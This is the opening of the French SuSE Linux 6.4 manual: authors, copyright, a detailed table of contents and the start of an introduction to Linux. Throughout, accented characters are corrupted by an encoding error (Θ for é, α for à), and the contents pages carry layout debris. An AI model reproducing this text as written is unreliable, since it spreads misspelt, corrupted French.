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2000-03-25
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Bodo Bauer, Rⁿdiger Berlich, Daniel Bischof, Michael Burghart, Roland Dyroff,
Christian Egle, Karl Eichwalder, Stefan Fent, Werner Fink, Klaus Franken, Fritz Ganter,
Jⁿrgen Geck, Rolf Haberrecker, Marc Heuse, Carsten H÷ger, Dirk Hohndel, Richard Jelinek,
Florian La Roche, Volker Lendecke, Hans Lermen, Hubert Mantel, Arndt Mehlhorn,
Jay Migliaccio, Jordi Jaen Pallares, Christoph-Erdmann Pfeiler, Peter Reinhart,
Marc Rⁿhrschneck, Martin Scherbaum, Adrian Schr÷ter, Burchard Steinbild,
Gabriele Strattner, J÷rg Strebel, Steve Tomlin, Klaus G. Wagner, Thorsten Wandersmann,
Udo Weber, Michael Weyrauch, Stefan Wintermeyer, Christian Zoz
SuSE Linux 6.4
Installation, configuration
: : : et premiers pas
SuSE GmbH
SchanzΣckerstr. 10
D-90443 Nⁿrnberg
Tel. : +49 911 / 7 40 53 31 (Vente seulement ~ pour l'Assistance
Technique voir page 561)
Fax. : +49 911 / 7 41 77 55 (Vente)
E-mail : suse@suse.de
WWW : http://www.suse.de
Bodo Bauer, Rⁿdiger Berlich, Daniel Bischof, Michael Burghart, Roland Dyroff, Christian Egle,
Karl Eichwalder, Stefan Fent, Werner Fink, Klaus Franken, Fritz Ganter, Jⁿrgen Geck,
Rolf Haberrecker, Marc Heuse, Carsten H÷ger, Dirk Hohndel, Richard Jelinek, Florian La Roche,
Volker Lendecke, Hans Lermen, Hubert Mantel, Arndt Mehlhorn, Jay Migliaccio,
Jordi Jaen Pallares, Christoph-Erdmann Pfeiler, Peter Reinhart, Marc Rⁿhrschneck,
Martin Scherbaum, Adrian Schr÷ter, Burchard Steinbild, Gabriele Strattner, J÷rg Strebel,
Steve Tomlin, Klaus G. Wagner, Thorsten Wandersmann, Udo Weber, Michael Weyrauch,
Stefan Wintermeyer, Christian Zoz
Installation, configuration et premiers pas avec SuSE Linux 6.4
17Φme Θdition actualisΘe 2000
SuSE GmbH
ISBN 3-934678-06-8 (Ensemble du paquet)
Copyright
Cet ouvrage est la propriΘtΘ intellectuelle de SuSE GmbH.
Il peut Ωtre copiΘ en totalitΘ ou en partie α condition que cette mention de
copyright figure sur chaque copie
Traduit de l'allemand par Franτoise Lermen
Typographie :ALTE X
La maquette de la couverture a ΘtΘ rΘalisΘe avec une illustration de Stephan
Endra▀.
Linux est une marque dΘposΘe de Linus Torvalds. XFree86 TM est une marque
dΘposΘe de The XFree86 Project, Inc.. MS-DOS, Windows, Windows 95,
Windows 98 et Windows NT sont des marques dΘposΘes de la Microsoft
Corporation. UNIX est une marque dΘposΘe de X/Open Company Limited.
Autres marques dΘposΘes et enregistrΘes : Clipper de Computer Associates,
dBASE de Borland, Foxbase de Microsoft, Compuserve, T-Online et Deutsche
Telekom, SuSE et YaST de SuSE GmbH . Tous les noms de marques sont citΘs
sans aucune garantie que le produit soit librement utilisable et peuvent
parfaitement Ωtre des marques dΘposΘes. La sociΘtΘ SuSE GmbH adopte
l'orthographe utilisΘe par les fabricants. D'autres produits mentionnΘs ici
peuvent Ωtre des marques dΘposΘes du fabricant respectif.
ISBN 3-934678-06-8 (Ensemble du paquet)
Table des matiΦres
I Introduction 1
1 Introduction 3
1.1 Qu'est-ce que ``Linux'' ? . . . . . . 4
1.2 But de ce manuel ~ Conseils pour l'utilisation . . 5
1.3 LΘgende - ou que signifie ``terre: # ls'' . . 6
1.4 La lutte avec le nombre de pages : : : . . . . 7
1.4.1 Base de donnΘes support . . . . . 7
1.4.2 Aide hypertexte . . . . . . 8
1.4.3 Texinfo et Info . . . . . . 9
1.4.4 Manuels Unix (``pages de man'') . . . 9
1.4.5 Fichiers FAQ, HowTo et README . . . 9
1.4.6 Livres diffusΘs librement . . . . . 10
1.5 ╔loges . . . . . . . . . 10
II Installer SuSE Linux 13
2 PremiΦre installation de SuSE Linux 15
2.1 La voie la plus rapide vers le succΦs . . . . 15
2.1.1 Petit plan prΘliminaire . . . . . 15
2.1.2 Maintenant tout commence : L'Θcran d'accueil . 16
2.1.3 YaST2 fait son apparition ! . . . . 18
2.1.4 SΘlection de la langue . . . . . 18
2.1.5 Choix de la souris . . . . . . 19
2.1.6 DΘtermination du lieu : Clavier et zone horaire 19
2.1.7 Nouvelle installation ou mise α jour ? . . 19
2.1.8 PrΘparer le disque dur . . . . . 20
2.1.9 SΘlection de logiciels . . . . . 21
*
* i
Table des matiΦres_________________________________________________________________________________________________________________*
*_______________________________________@
2.1.10 LILO ~ Gestionnaire d'amorτage pour le dΘmarrage
du systΦme . . . . . . . *
*23
2.1.11 Informations sur l'utilisateur . . . . 24
2.1.12 DΘterminer le mot de passe `root' . . . 24
2.1.13 Confirmer les configurations ~ dΘmarrer l'installa-
tion . . . . . . . . *
* 25
2.1.14 PrΘparer l'interface graphique . . . . 26
2.1.15 Configurer les composants du systΦme . . 26
2.1.16 PremiΦre connexion . . . . . 27
2.1.17 Tour d'horizon et travail sur le systΦme . . 27
2.2 Installation en mode texte avec YaST 1 . . . 28
2.2.1 Situation de dΘpart . . . . . . 28
2.2.2 Maintenant tout commence : L'Θcran d'accueil . 28
2.2.3 La base de votre installation : linuxrc . . 29
2.2.4 DΘmarrage de YaST . . . . . 33
2.2.5 Partitionner et formater le disque dur . . 34
2.2.6 Commencer l'installation des logiciels . . 35
2.2.7 SΘlectionnez votre Θquipement logiciel de base 36
2.2.8 Installation de logiciels systΦme et de programmes 37
2.2.9 SΘlectionner le noyau pour le systΦme . . 38
2.2.10 Configuration de base du systΦme avec YaST . 39
2.2.11 Se connecter aprΦs la premiΦre installation . 43
2.3 Comment dΘmarrer SuSE Linux α l'avenir ? . . . 44
2.4 Installation sans lecteur de CD-ROM supportΘ . . 46
2.4.1 Installation α partir d'une partition DOS . . 46
2.4.2 Installation α partir d'une source ``rΘseau'' . 48
2.5 Encore une mΘthode d'installation : Setup et loadlin . 50
2.5.1 Mettre Windows 95/98 en mode DOS . . 50
2.5.2 Lancement de Setup et premiΦre partie de Setup 50
2.5.3 Comment amorcer le Linux initial α partir de setup ? 51
2.5.4 Installer loadlin et lancer le Linux initial . . 52
2.6 Blocs Info . . . . . . . . . *
* 54
2.6.1 Faire de la place pour Linux (partitionner) . 54
2.6.2 Utiliser le CD 2 pour l'amorτage . . . 56
2.6.3 CrΘer des disquettes d'amorτage . . . 57
2.6.4 CrΘer des disquettes d'amorτage avec Unix . 58
2.6.5 Linux supporte-il mon lecteur de CD-ROM ? . 59
2.7 Descriptions de problΦmes . . . . . . 59
2.7.1 Impossible de dΘplacer des fichiers . . . 59
2.7.2 Pas de clavier franτais en mode MS-DOS . 60
ii
_______________________________________________________________________________________________________Table_des_matiΦres___*
*______________________
2.7.3 Pas de pilote de CD-ROM en mode MS-DOS . 60
2.7.4 le CD est dΘfectueux . . . . . 60
2.7.5 Le CD-ROM ATAPI se bloque α la lecture . 60
2.7.6 Lecteurs de CD-ROM sur port parallΦle . . 62
2.7.7 Lecteurs de CD-ROM ``propriΘtaires'' . . 62
2.7.8 Thinkpad ``s'endort'' pendant l'installation . 62
2.7.9 loadlin n'a pas suffisamment de mΘmoire pour char-
ger le noyau . . . . . . . 63
2.7.10 loadlin ne fonctionne pas . . . . . 63
2.7.11 DOS tourne en mode protΘgΘ . . . . 63
2.7.12 DΘnomination du lecteur de CD-ROM . . 64
2.7.13 ProblΦmes d'ordre gΘnΘral avec le matΘriel . 64
2.8 Partitionnement pour dΘbutants . . . . . 67
2.9 Partitionnement avancΘ . . . . . . 68
2.9.1 Taille de la partition de swap . . . . 70
2.9.2 PossibilitΘs de fonction de la machine . . 70
2.9.3 PossibilitΘs d'optimisation . . . . 72
2.10 Configuration manuelle du disque dur . . . . 75
2.10.1 Configurer les partitions . . . . . 75
2.10.2 DΘterminer les systΦmes de fichiers et les ``points de
montage'' . . . . . . . 77
3 YaST ~ Yet another Setup Tool 81
3.1 Utilisation de YaST et disposition du clavier . . 81
3.2 Le menu principal de YaST . . . . . . 82
3.3 Configurations pour l'installation . . . . 82
3.3.1 DΘterminer la langue . . . . . 83
3.3.2 SΘlectionner la disposition du clavier . . 83
3.3.3 SΘlectionner le support d'installation . . 83
3.3.4 Installation α partir du CD-ROM . . . 84
3.3.5 Installation α partir d'une partition du disque dur 84
3.3.6 Installation via NFS . . . . . 85
3.3.7 Installation α partir d'un rΘpertoire accessible . 86
3.3.8 Installation via FTP . . . . . . 87
3.3.9 Partitionner le(s) disque(s) dur(s) . . . 88
3.3.10 SpΘcifier les partitions cibles ou les systΦmes de fi-
chiers . . . . . . . . 89
3.3.11 Configurer le Logical Volume Manager . . 93
3.3.12 Installation dans un rΘpertoire . . . . 93
3.4 DΘterminer la taille de l'installation . . . . 94
*
* iii
Table des matiΦres_________________________________________________________________________________________________________________*
*_______________________________________@
3.4.1 Charger la configuration . . . . . 94
3.4.2 Enregistrer la configuration . . . . 95
3.4.3 Modifier la configuration . . . . . 95
3.4.4 Que se passerait-il si... . . . . . 97
3.4.5 DΘmarrer l'installation . . . . . 97
3.4.6 VΘrifier les dΘpendances des paquetages . . 98
3.4.7 Index de toutes les sΘries et de tous les paquetages 98
3.4.8 Information sur les paquetages . . . 98
3.4.9 Inclure des paquetages . . . . . 98
3.4.10 Effacer des paquetages . . . . . 100
3.5 Mise α jour du systΦme . . . . . . 100
3.6 Administration du systΦme . . . . . . 100
3.6.1 IntΘgrer le matΘriel dans le systΦme . . . 100
3.6.2 Configuration du noyau et de l'amorτage . . 103
3.6.3 Configuration rΘseau . . . . . 106
3.6.4 Configurer le systΦme live . . . . 108
3.6.5 Configuration du login . . . . . 109
3.6.6 Configuration susewm . . . . . 110
3.6.7 Gestion utilisateurs . . . . . . 111
3.6.8 Gestion de groupes . . . . . . 112
3.6.9 CrΘer des sauvegardes . . . . . 113
3.6.10 Configuration sΘcuritΘ du systΦme . . . 114
3.6.11 Configurer XFree86[tm] . . . . . 114
3.6.12 Modifier le fichier de configuration . . . 114
4 Amorτage et gestionnaires d'amorτage 117
4.1 ProcΘdure d'amorτage sur PC . . . . . 117
4.2 Concepts d'amorτage . . . . . . . 119
4.3 LILO se prΘsente : Vue d'ensemble . . . . 120
4.4 Un LILO sur mesure : Configuration . . . . 123
4.4.1 Structure du fichier lilo.conf . . . 124
4.4.2 Autres possibilitΘs optionnelles de configuration 127
4.5 Installation et dΘsinstallation de LILO . . . . 130
4.6 GΘnΘrer une disquette d'amorτage Linux . . . 132
4.7 Exemples de configurations . . . . . . 134
4.7.1 DOS/Windows 95/98 et Linux . . . . 134
4.7.2 Windows NT et Linux sur un disque dur . . 135
4.7.3 OS/2 et Linux . . . . . . . 136
4.7.4 DOS, OS/2 et Linux . . . . . 137
4.8 ProblΦmes avec LILO . . . . . . . 137
iv
_______________________________________________________________________________________________________Table_des_matiΦres___*
*______________________
4.8.1 Diagnostic d'erreur : Message de dΘmarrage de
LILO . . . . . . . . 138
4.8.2 La limite des 1024 cylindres . . . . 139
4.8.3 ProblΦmes d'amorτage particuliers avec le noyau α
partir de 2.0 . . . . . . . 141
4.9 Construire un mΘcanisme d'amorτage avec loadlin . 143
4.9.1 Fichiers indispensables pour loadlin . . 144
4.9.2 CrΘation de menus de dΘmarrage . . . 144
4.9.3 DΘmarrage α partir de Windows . . . 146
4.9.4 Le menu de dΘmarrage Windows . . . 147
III Configuration du rΘseau 151
5 En rΘseau avec Linux 153
5.1 Configuration α l'aide de YaST . . . . . 156
5.2 Configuration manuelle du rΘseau ~ o∙ trouver quoi ? . 158
5.2.1 Fichiers de configuration . . . . . 158
5.2.2 Scripts de dΘmarrage . . . . . 163
5.3 Routage sous SuSE Linux . . . . . . 164
5.4 NIS, les pages jaunes du LAN . . . . . 165
5.4.1 Qu'est-ce que le NIS ? . . . . . 165
5.4.2 Installation d'un client NIS . . . . 165
5.4.3 Serveur maεtre et serveur esclave NIS . . 167
5.5 NFS ~ SystΦmes de fichiers rΘpartis . . . . 167
5.5.1 Importation des systΦmes de fichiers . . 167
5.5.2 Exportation des systΦmes de fichiers . . 167
6 Votre ouverture sur le monde ~ PPP, ISDN, Fax : : : 171
6.1 PPP . . . . . . . . . . 171
6.1.1 Conditions pour la mise en service de PPP . 172
6.1.2 Informations complΘmentaires sur PPP . . 172
6.2 AccΦs Internet par ISDN ~ Configuration . . . 173
6.2.1 Mise en service d'ISDN - Pas α pas . . . 173
6.2.2 Vue d'ensemble . . . . . . 175
6.2.3 Configuration du matΘriel ISDN . . . 175
6.2.4 Tester le fonctionnement de votre connexion ISDN
sur le serveur SuSE . . . . . . 180
6.2.5 Mise en place d'une connexion Internet par ISDN 180
6.2.6 Messages ISDN . . . . . . 184
6.3 Modem cΓble . . . . . . . . 188
*
* v
Table des matiΦres_________________________________________________________________________________________________________________*
*_______________________________________@
6.3.1 Informations de base . . . . . 188
6.4 T-DSL, T-ISDN-DSL, ADSL : : : . . . . 189
6.5 Connexion par modem . . . . . . 190
6.6 AccΦs Internet par modem : PPP avec wvdial . . 190
6.6.1 Configuration de wvdial . . . . . 191
6.6.2 Plusieurs fournisseurs d'accΦs avec wvdial . 194
6.6.3 Adaptateurs de terminaux ISDN . . . 195
6.6.4 Configuration de modems PCI . . . . 196
6.6.5 Configuration manuelle de PPP pour experts . 197
6.7 Masquerading et Firewall ~ Amis et ``amis'' . . . 201
6.7.1 Principes du Masquerading . . . . 202
6.7.2 Principes du Firewall . . . . . 202
6.7.3 Configuration de Masquerading et/ou de Firewall 203
6.8 Donnez de vos nouvelles ~ Configuration de Sendmail 205
6.9 News : Les toutes derniΦres nouvelles de USENET . 208
6.9.1 Le systΦme de news Leafnode . . . . 208
6.10 Linux et le fax . . . . . . . . 2*
*10
6.10.1 SuSEFax ~ Un client pour HylaFAX . . 211
6.10.2 CrΘation automatique de la page de garde . 220
6.10.3 Traitement diffΘrΘ des fax sous UNIX /Linux . 221
6.10.4 HylaFAX ~ Fax rΘpartis . . . . . 221
7 Sur un rythme de Samba : : : 229
7.1 Introduction . . . . . . . . 2*
*29
7.2 Installation du serveur . . . . . . . 231
7.3 Installation des clients . . . . . . . 234
7.4 Optimisation . . . . . . . . 235
IV Le systΦme X Window 237
8 Le systΦme X Window 239
8.1 Configuration avec SaX . . . . . . 240
8.1.1 PremiΦre installation . . . . . 240
8.1.2 Reconfiguration . . . . . . 248
8.1.3 Cas problΘmatiques . . . . . . 249
8.1.4 DΘmarrage du systΦme X Window . . . 249
8.1.5 Liste de contr⌠le pour l'installation de cartes gra-
phiques . . . . . . . . *
*250
8.2 Configuration avec xf86config . . . . . 251
8.3 Optimisation de l'installation du systΦme X Window . 259
vi
_______________________________________________________________________________________________________Table_des_matiΦres___*
*______________________
9 Le gestionnaire de fenΩtres ~ Votre ouverture sur l'ordinateur 265
9.1 ThΘorie de l'interface utilisateur graphique . . . 265
9.1.1 Structure du systΦme X Window . . . 265
9.1.2 De quoi s'occupe un gestionnaire de fenΩtres ? . 268
9.1.3 DΘmarrage de diffΘrents gestionnaires de fenΩtres 269
9.2 L'environnement de bureau KDE . . . . 271
9.2.1 GΘnΘralitΘs . . . . . . . 272
9.2.2 kdm ~ login graphique . . . . . 273
9.2.3 Que possΦde donc KDE de si sensationnel ? . 274
9.3 Fvwm . . . . . . . . . 277
9.4 Configuration de Fvwm . . . . . . 278
9.4.1 Auto-ΘlΘvation . . . . . . 282
9.5 Configuration du gestionnaire de fenΩtres avec SuSEwm 282
9.5.1 Ajouter des entrΘes au menu . . . . 283
9.6 Configuration gΘnΘrale du systΦme X Window . . 286
V MatΘriel sous Linux 291
10 L'environnement matΘriel de l'ordinateur Linux 293
10.1 Remarque prΘliminaire . . . . . . 293
10.2 Cartes enfichables . . . . . . . 293
10.2.1 Cartes ISA et PCI . . . . . . 293
10.3 Cartes son . . . . . . . . . 296
10.3.1 OSS et versions de dΘmonstration d'OSS . . 297
10.3.2 Comment configurer les cartes son sous Linux ? 297
10.4 Interfaces de la machine . . . . . . 306
10.4.1 Ports PS/2 . . . . . . . 306
10.4.2 Ports sΘrie . . . . . . . 306
10.4.3 Ports parallΦles . . . . . . 307
10.4.4 USB ~ Universal Serial Bus . . . . 308
10.5 Supports amovibles . . . . . . . 309
10.5.1 Lecteurs de disquettes . . . . . 309
10.5.2 Lecteurs LS 120 . . . . . . 309
10.5.3 Lecteurs ZIP . . . . . . . 309
10.6 Modems . . . . . . . . . 310
10.6.1 Modems externes . . . . . . 310
10.6.2 Modems internes . . . . . . 310
10.7 Scanners . . . . . . . . . 312
10.8 Lecteurs de bandes (angl. streamers) . . . . 313
10.9 Cartes TV . . . . . . . . . 314
*
* vii
Table des matiΦres_________________________________________________________________________________________________________________*
*_______________________________________@
11 Notebooks ~ PCMCIA, APM, IrDA 317
11.1 PCMCIA . . . . . . . . . 317
11.1.1 Le matΘriel . . . . . . . 3*
*17
11.1.2 Les logiciels . . . . . . . 3*
*18
11.1.3 Configuration . . . . . . . 318
11.1.4 Configurations pour changer d'environnement ~ ~
les ``schemes'' . . . . . . . 3*
*20
11.1.5 Si cela ne fonctionne quand mΩme pas . . 323
11.1.6 Installation via PCMCIA . . . . . 326
11.1.7 Autres programmes utilitaires . . . . 326
11.2 APM ~ Gestion d'Θnergie . . . . . . 327
11.2.1 Principes de base . . . . . . 327
11.2.2 Le noyau adΘquat . . . . . . 328
11.2.3 Le dΘmon APM . . . . . . 328
11.2.4 Autres commandes . . . . . . 329
11.2.5 Une pause pour le disque dur . . . . 329
11.3 IrDA ~ Infrared Data Association . . . . 330
12 L'impression 333
12.1 Vue d'ensemble : Interfaces, files d'impression (spooling) 333
12.2 Files d'impression : fonctionnement et configuration . 335
12.3 Filtres d'impression ~ le filtre ``apsfilter'' . . . 339
12.4 Imprimantes rΘseau avec apsfilter . . . . 346
12.5 Quelques prΘcisions au sujet de Ghostscript . . . 347
12.6 Liste des imprimantes supportΘes . . . . 349
12.7 Liste de contr⌠le pour l'impression : apsfilter . . 354
VI Le noyau et les paramΦtres du noyau 357
13 Le noyau 359
13.1 Les sources du noyau . . . . . . . 359
13.2 Modules du noyau . . . . . . . 360
13.3 Configuration du noyau . . . . . . 362
13.4 ParamΦtres de configuration du noyau . . . . 363
13.5 Compilation du noyau . . . . . . . 363
13.6 Installer le noyau . . . . . . . 364
13.7 CrΘer une disquette d'amorτage . . . . . 366
13.8 Faire le mΘnage sur le disque dur aprΦs la compilation du
noyau . . . . . . . . . . *
* 366
viii
_______________________________________________________________________________________________________Table_des_matiΦres___*
*______________________
14 ParamΦtres du noyau 367
14.1 Pilotes insΘrΘs dans le noyau . . . . . 367
14.2 Quelques astuces . . . . . . . 368
14.3 Les paramΦtres . . . . . . . . 369
14.3.1 Notation et signification . . . . . 369
14.3.2 ParamΦtres transmis au noyau α l'invite d'amorτage 370
14.3.3 Lecteurs de CD-ROM connectΘs α des contr⌠leurs
propriΘtaires . . . . . . . 380
14.3.4 ParamΦtres modprobe . . . . . 383
VII SuSE Linux : Mise α jour et particularitΘs 401
15 Mise α jour du systΦme et gestion des paquetages 403
15.1 Mise α jour de SuSE Linux . . . . . . 403
15.1.1 Travaux prΘliminaires . . . . . 403
15.1.2 Mise α jour avec YaST2 . . . . . 404
15.1.3 Mise α jour avec YaST1 . . . . . 404
15.1.4 Actualisation des paquetages . . . . 406
15.2 D'une version α l'autre . . . . . . 407
15.2.1 De 4.x α 5.0 . . . . . . . 407
15.2.2 De 5.0 α 5.1 . . . . . . . 407
15.2.3 De 5.1 α 5.2 . . . . . . . 408
15.2.4 De 5.2 α 5.3 . . . . . . . 408
15.2.5 De 5.3 α 6.0 . . . . . . . 409
15.2.6 De 6.0 α 6.1 . . . . . . . 410
15.2.7 De 6.1 α 6.2 . . . . . . . 410
15.2.8 De 6.2 α 6.3 . . . . . . . 411
15.2.9 De 6.3 α 6.4 . . . . . . . 413
15.3 RPM ~ Le gestionnaire de paquetages de la distribution 415
15.3.1 GΘrer les paquetages : Installer, mettre α jour et dΘs-
installer . . . . . . . . 415
15.3.2 Faire des requΩtes . . . . . . 417
15.3.3 Installer et compiler les paquetages sources . 419
15.3.4 Outils pour archives et base de donnΘes RPM . 420
16 ParticularitΘs sous SuSE Linux 423
16.1 Filesystem Hierarchy Standard (FHS) et Linux Standard
Base (LSB) . . . . . . . . . 423
16.1.1 Environnements exemples pour FTP et HTTP . 423
16.1.2 teTeX ~ TEX sous SuSE Linux . . . 423
*
* ix
Table des matiΦres_________________________________________________________________________________________________________________*
*_______________________________________@
16.2 Amorτage avec le ``disque virtuel initial'' . . . 424
16.2.1 Concept du disque virtuel initial . . . 424
16.2.2 DΘroulement du processus d'amorτage avec initrd 424
16.2.3 Gestionnaires d'amorτage . . . . 425
16.2.4 Utilisation d'initrd avec SuSE . . . 426
16.2.5 DifficultΘs Θventuelles ~ Noyau compilΘ par l'utili-
sateur . . . . . . . . *
* 427
16.2.6 Perspectives . . . . . . . 428
16.3 linuxrc . . . . . . . . . *
* 429
16.4 Le systΦme d'aide pour SuSE Linux . . . . 435
16.4.1 Configuration pour systΦme monoposte ou systΦme
serveur . . . . . . . . *
* 436
16.4.2 Configuration pour une machine client . . 437
16.4.3 Utiliser le systΦme d'aide . . . . 437
16.5 Le systΦme de secours SuSE . . . . . 438
16.6 Informations sur les paquetages logiciels spΘciaux . 442
16.6.1 paquetage cron . . . . . . 442
16.6.2 paquetage curses . . . . . . 442
16.6.3 Sources du paquetage uucp . . . . 443
16.6.4 Pages de man . . . . . . . 443
16.7 Disposition du clavier . . . . . . . 443
17 Le concept d'amorτage de SuSE Linux 445
17.1 Le programme init . . . . . . . 445
17.2 Les niveaux d'exΘcution . . . . . . 446
17.3 Changement de niveau d'exΘcution . . . . 447
17.4 Les scripts init . . . . . . . . *
*448
17.5 /etc/rc.config et SuSEconfig . . . . 450
17.6 Les variables /etc/rc.config des Systems . . 451
VIII SΘcuritΘ et autres astuces 463
18 La sΘcuritΘ est une question de confiance 465
18.1 Principes de base . . . . . . . 465
18.1.1 SΘcuritΘ locale . . . . . . 466
18.1.2 SΘcuritΘ rΘseau . . . . . . 470
18.2 Outils . . . . . . . . . . *
* 471
18.2.1 Outils locaux . . . . . . . 472
18.2.2 Outils rΘseau . . . . . . . 475
18.3 SΘcuritΘ sous SuSE Linux . . . . . . 480
18.4 Informations d'ordre gΘnΘral . . . . . 480
x
_______________________________________________________________________________________________________Table_des_matiΦres___*
*______________________
19 DΘbuts sous Linux 481
19.1 Connexion au systΦme, utilisateur `root', crΘer un compte
utilisateur . . . . . . . . . 482
19.2 ArrΩt du systΦme et amorτage . . . . . 483
19.3 Commandes et lignes de commandes . . . . 483
19.4 Consoles virturelles . . . . . . . 485
19.5 RΘpertoires et noms de fichiers . . . . . 485
19.6 Travailler avec les rΘpertoires . . . . . 486
19.7 Travailler avec les fichiers . . . . . . 486
19.7.1 Informations sur les fichiers . . . . 487
19.7.2 Wildcards ~ un petit coup d'oeil . . . 488
19.7.3 Contenu des fichiers . . . . . 489
19.7.4 Fichiers cachΘs . . . . . . 490
19.7.5 Copier, renommer et effacer des fichiers . . 490
19.7.6 Recherche et exploration de fichiers . . . 491
19.7.7 Liens symboliques . . . . . . 491
19.7.8 Archivage et sauvegarde de donnΘes . . 492
19.8 Droits d'accΦs aux fichiers . . . . . . 492
19.9 Pages de man . . . . . . . . 494
19.10 Informations sur l'Θtat du systΦme . . . . 496
19.10.1 La commande df . . . . . . 496
19.10.2 La commande free . . . . . 496
19.10.3 La commande ulimit . . . . . 496
19.10.4 La commande w . . . . . . 498
19.10.5 La commande du . . . . . . 498
19.10.6 La commande kill . . . . . 498
19.10.7 La commande ps . . . . . . 498
19.10.8 La commande pstree . . . . . 499
19.10.9 La commande top . . . . . . 499
19.11 SystΦmes de fichiers sous Linux ~ mount et umount . 499
19.11.1 Vue d'ensemble . . . . . . 499
19.11.2 Montage et dΘmontage de systΦmes de fichiers . 500
19.12 Commandes DOS sous Unix avec mtools . . . 501
19.13 Vue d'ensemble des commandes Unix . . . . 503
19.14 Pour terminer . . . . . . . . 505
19.15 L'Θditeur vi . . . . . . . . . 506
A Combinaisons de touches importantes 509
B Glossaire 511
*
* xi
Table des matiΦres_________________________________________________________________________________________________________________*
*_______________________________________@
C L'arborescence des rΘpertoires 529
C.1 Aperτu . . . . . . . . . *
* 529
C.2 RΘpertoires importants . . . . . . 530
D Fichiers importants 531
D.1 Fichiers de pΘriphΘriques dans le rΘpertoire /dev . . 531
D.1.1 Lecteurs de CD-ROM . . . . . 531
D.1.2 Lecteurs de bandes . . . . . . 532
D.1.3 Souris (Bus et PS/2) . . . . . 532
D.1.4 Modem . . . . . . . . 533
D.1.5 Interfaces sΘrie . . . . . . 533
D.1.6 Interfaces parallΦles . . . . . 533
D.1.7 PΘriphΘriques spΘciaux . . . . . 534
D.2 Fichiers de configuration dans /etc . . . . 534
D.3 Fichiers de configuration cachΘs dans le rΘpertoire personnel
(Home) . . . . . . . . . 5*
*35
E Page de manuel de e2fsck 537
F La FAQ de SuSE Linux 541
G Licence Publique GΘnΘrale GNU (GPL) 549
H Assistance Technique et services de SuSE GmbH 557
H.1 60 jours d'Assistance Technique α l'Installation . . 557
H.1.1 Sans enregistrement, pas d'Assistance Technique α
l'Installation ! . . . . . . . *
*557
H.1.2 PrΘsentation de l'Assistance Technique α l'Installa-
tion . . . . . . . . *
* 558
H.2 Le chemin le plus court qui mΦne α l'aide ! . . . 559
H.2.1 Comment contacter l'Θquipe d'Assistance Tech-
nique SuSE ? . . . . . . . *
* 560
H.3 SuSE Service Pro . . . . . . . 5*
*61
H.3.1 Projets individuels et consultation . . . 562
H.4 Formation . . . . . . . . . 5*
*63
H.5 Vos rΘactions . . . . . . . . 5*
*63
H.6 Autres services . . . . . . . . 563
xii
PremiΦre partie
Introduction
1
Chapitre 1
Introduction
L'histoire de Linux ressemble α un conte moderne : En 1991, un Θtudiant
finlandais en informatique, Linus Torvalds commence α programmer sa
propre version Unix. Non seulement il publie des binaires, c'est-α-dire des
programmes fonctionnels en langage machine mais il en diffuse aussi le code
source sur Internet qui connaεt une rapide expansion. Son invitation attire
bient⌠t des centaines de programmeurs du monde entier qui se mettent α col-
laborer ~ gratuitement et pendant leurs loisirs ~ au dΘveloppement de Linux.
Ils ne sont pas motivΘs par un intΘrΩt d'ordre commercial mais par le plaisir
de travailler, seuls ou en Θquipe, α rΘsoudre les problΦmes, α surmonter les
difficultΘs, α ajouter de nouvelles fonctions et α perfectionner ainsi le systΦme
d'exploitation. Seule obligation : le travail rΘalisΘ ~ y compris le code source
modifiΘ ~ doit Ωtre mis α la disposition de la communautΘ des programmeurs.
Les bases juridiques sont dΘfinies par la GNU General Public License (GPL)
dont vous trouverez le texte α l'annexe G page 549.
Qui choisit aujourd'hui Linux comme systΦme d'exploitation a le plus sou-
vent tout un tas de bonnes raisons : la stabilitΘ et la performance sont invo-
quΘes en premier lieu ; et aussi les fonctionnalitΘs rΘseaux trΦs Θtendues qui
ont permis α Linux de conquΘrir Internet et de s'imposer sur le marchΘ des ser-
veurs. Les connaisseurs de Linux apprΘcient la disponibilitΘ du code source
dont dΘcoulent l'autonomie et la flexibilitΘ du systΦme. GrΓce aux sources
libres, l'utilisateur n'est plus α la merci d'un fabricant de logiciels mais peut
lui-mΩme personnaliser les programmes et leur apporter des extensions.
En plus de tous ces arguments en faveur de Linux, c'est surtout la demande
impressionnante et l'intΘrΩt considΘrable de la part des utilisateurs qui ont
incitΘ de nombreux fabricants de matΘriel et de logiciels α apporter un ap-
pui concret et actif α Linux. Siemens , IBM et Compaq ~ pour ne citer que
quelques ``grands'' noms ~ ont dΘcouvert Linux comme systΦme d'exploita-
tion.
Outre les innombrables programmes d'application gratuits, il existe de plus
en plus de logiciels commerciaux pour Linux : Les constructeurs de bases de
donnΘes tels que Oracle , Informix , Software AG et Sybase ainsi que les four-
nisseurs de solutions bureautiques comme Applix , Corel ou Star Division
proposent maintenant leurs produits pour Linux. Linux est un bon systΦme,
il s'amΘliore constamment et ne co√te rien ! Il suffit de voir l'enthousiasme
qui rΦgne au sein de la communautΘ Linux qui compte plus de dix millions
*
* 3
1. Introduction _________________________________________________________________________________________________________________*
*_______________________________________@
d'utilisateurs et continue α s'accroεtre pour constater que Linux possΦde tous
les atouts pour devenir un standard industriel.
Mais ce n'est pas tout : Avec KDE et GNOME , il existe α prΘsent deux
interfaces graphiques confortables et librement disponibles qui rΘpondent α
la demande de plus en plus pressante des utilisateurs qui rΘclament ``Linux
sur le bureau !''.
1.1 Qu'est-ce que ``Linux'' ?
Il convient, lorsque l'on parle de ``Linux'', de dΘfinir d'abord ce que l'on
entend par ce mot. Linux dans le sens strict du terme est le + noyau
(angl. kernel) qui est le ``coeur'' de chaque systΦme d'exploitation UNIX.
Un noyau n'est cependant pas par lui-mΩme un systΦme d'exploitation. Il
existe, prΘcisΘment pour UNIX, une offre gigantesque de logiciels libres. De
ce fait, pratiquement tous les utilitaires courants sous UNIX sont aussi dispo-
nibles pour Linux. Ceux-ci constituent le systΦme d'exploitation proprement
dit.
Dans la majoritΘ des cas, il s'agit des versions + GNU de certains pro-
grammes UNIX qui offrent mΩme trΦs souvent une plus grande fonctionnalitΘ
et dont la plus connue est le GNU C/C++ Compiler , l'un des meilleurs com-
pilateurs qui existent. Il convient aussi de ne pas oublier les nombreux petits
outils, et mΩme ceux un peu plus grands, que l'on peut utiliser depuis la ligne
de commande, dans des scripts shell ou comme programmes indΘpendants :
α commencer par les utilitaires shell, fichiers et textes en passant par sed ,
awk et perl pour arriver aux Θditeurs (vi ) ou aux environnements de travail
complets (Emacs ).
Tout ceci est complΘtΘ par XFree86 TM (version actuelle 3.3.6), le systΦme
X Window (actuellement X11 Release 6.3) pour ordinateurs basΘs sur le
